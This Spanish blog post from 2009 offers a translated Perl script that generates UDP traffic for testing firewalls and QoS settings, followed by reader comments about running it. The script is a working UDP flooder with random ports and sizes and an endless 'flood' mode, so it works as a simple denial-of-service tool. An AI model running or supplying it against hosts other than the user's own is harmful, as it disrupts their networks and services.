viernes, 27 de marzo de 2009

Script PERL para generar tráfico en UDP

Siempre que tenemos que probar algún firewall o alguna política de calidad de servicio nos encontramos con el problema de que necesitamos tráfico para ver si las cosas están bien configuradas, para ayudar a este proceso  les dejo un script de {es:Perl|PERL} que les va a generar tráfico en forma de datagramas UDP.



El código del mismo no es mio, sino que lo encontré en la página de  Ivan Pepelnjak y me tomé el trabajo de traducirlo.

#!/usr/bin/perl
use Socket;
use strict;

if ($#ARGV != 3) {
print "\n$0 \n";
print "Puerto = 0: usar puertos aleatorios\n";
print "Tamanio = 0: usar tamanios aleatorios entre 64 y 1024\n";
print "Duracion = 0: flood que no para nunca\n";
print "Se deben escribir todos los parametros aunque sea en 0\n\n";
exit(1);
}

my ($ip,$port,$size,$time) = @ARGV;
my ($iaddr,$endtime,$psize,$pport);

$iaddr = inet_aton("$ip") or die "No puedo resolver el hostname $ip\n";
$endtime = time() + ($time ? $time : 1000000);

socket(flood, PF_INET, SOCK_DGRAM, 17);

print "Floodeando $ip:" . ($port ? $port : "puerto-aleatorio") . " con " .
($size ? "$size bytes" : "datagramas de tamanio aleatorio")
.
($time ? " por $time segundos" : "") . "\n";
print "Parar con Ctrl-C\n" unless $time;

for (;time() <= $endtime;) {
$psize = $size ? $size : int(rand(1024-64)+64) ;
$pport = $port ? $port : int(rand(65500))+1;
send(flood, pack("a$psize","flood"), 0, pack_sockaddr_in($pport, $iaddr));}

Obviamente voy a recomendar usar esto sólo para actividades legales que no involucren atacar algún equipo que no sea nuestro.

Nos vemos en el próximo post.

3 comentarios:

Meneco dijo...

eso donde se pega o que, lo puedo utilizar en blogger?

Ariel Weher dijo...

Eso es un script de consola de UNIX, con interprete PERL

Anónimo dijo...

casi todas las distribuciones linux trae el interprete Perl en windows tenes que bajarlo e intalarlo.

Publicar un comentario